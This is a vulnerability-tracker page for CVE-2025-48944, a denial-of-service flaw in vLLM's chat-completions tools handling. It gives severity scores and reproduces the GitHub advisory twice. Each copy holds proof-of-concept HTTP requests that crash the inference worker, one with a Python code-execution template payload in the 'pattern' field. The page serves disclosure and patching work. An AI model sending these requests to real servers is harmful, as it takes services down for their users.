CVE-2025-48944

mediumPriorität · verfolgen · 0EPSS 0.006 · 51. PerzentilEURUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.64% (51st) EPSS
CVSS 6.5 · medium
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · bewertet 2026-10-27

vLLM is an inference and serving engine for large language models (LLMs). In version 0.8.0 up to but excluding 0.9.0, the vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. Version 0.9.0 fixes the issue.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.16.5mediumAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hsecondary · FSTEC (BDU) RU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 2.8 · Auswirkung 3.6
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-vrq3-r879-7m65vLLM Tool Schema allows DoS via Malformed pattern and type Fields2025-05-28ghsa · osvUS

    ### Summary The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. ### Details The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error: RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing" The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors. For example, the following inputs will crash the worker: Unclosed {, [, or ( Closed:{} and [] Here are some of runtime errors on the crash depending on what gets injected: RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed. RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count. RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed. ### PoC Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for: POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 579 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive { "model": "mistral-nemo-instruct", "messages": [{ "role": "user", "content": "crash via type" }], "tools": [ { "type": "function", "function": { "name": "crash01", "parameters": { "type": "object", "properties": { "a": { "type": "something" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash01", "arguments": { "a": "test" } } }, "stream": false, "max_tokens": 1 } Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker. POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 718 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive { "model": "mistral-nemo-instruct", "messages": [ { "role": "user", "content": "Crash via Pattern" } ], "tools": [ { "type": "function", "function": { "name": "crash02", "parameters": { "type": "object", "properties": { "a": { "type": "string", "pattern": "{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash02" } }, "stream": false, "max_tokens": 32, "temperature": 0.2, "top_p": 1, "n": 1 } ### Impact Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. ### Fix * https://github.com/vllm-project/vllm/pull/17623

  • PYSEC-2026-2023vLLM Tool Schema allows DoS via Malformed pattern and type Fields2026-07-07vendor · osvUS

    ### Summary The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. ### Details The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error: RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing" The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors. For example, the following inputs will crash the worker: Unclosed {, [, or ( Closed:{} and [] Here are some of runtime errors on the crash depending on what gets injected: RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed. RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count. RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed. ### PoC Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for: POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 579 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive { "model": "mistral-nemo-instruct", "messages": [{ "role": "user", "content": "crash via type" }], "tools": [ { "type": "function", "function": { "name": "crash01", "parameters": { "type": "object", "properties": { "a": { "type": "something" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash01", "arguments": { "a": "test" } } }, "stream": false, "max_tokens": 1 } Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker. POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 718 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive { "model": "mistral-nemo-instruct", "messages": [ { "role": "user", "content": "Crash via Pattern" } ], "tools": [ { "type": "function", "function": { "name": "crash02", "parameters": { "type": "object", "properties": { "a": { "type": "string", "pattern": "{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash02" } }, "stream": false, "max_tokens": 32, "temperature": 0.2, "top_p": 1, "n": 1 } ### Impact Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. ### Fix * https://github.com/vllm-project/vllm/pull/17623

06

auch bekannt als (7)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2025-05-30geändert 2026-06-17
08

Referenzen (8)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan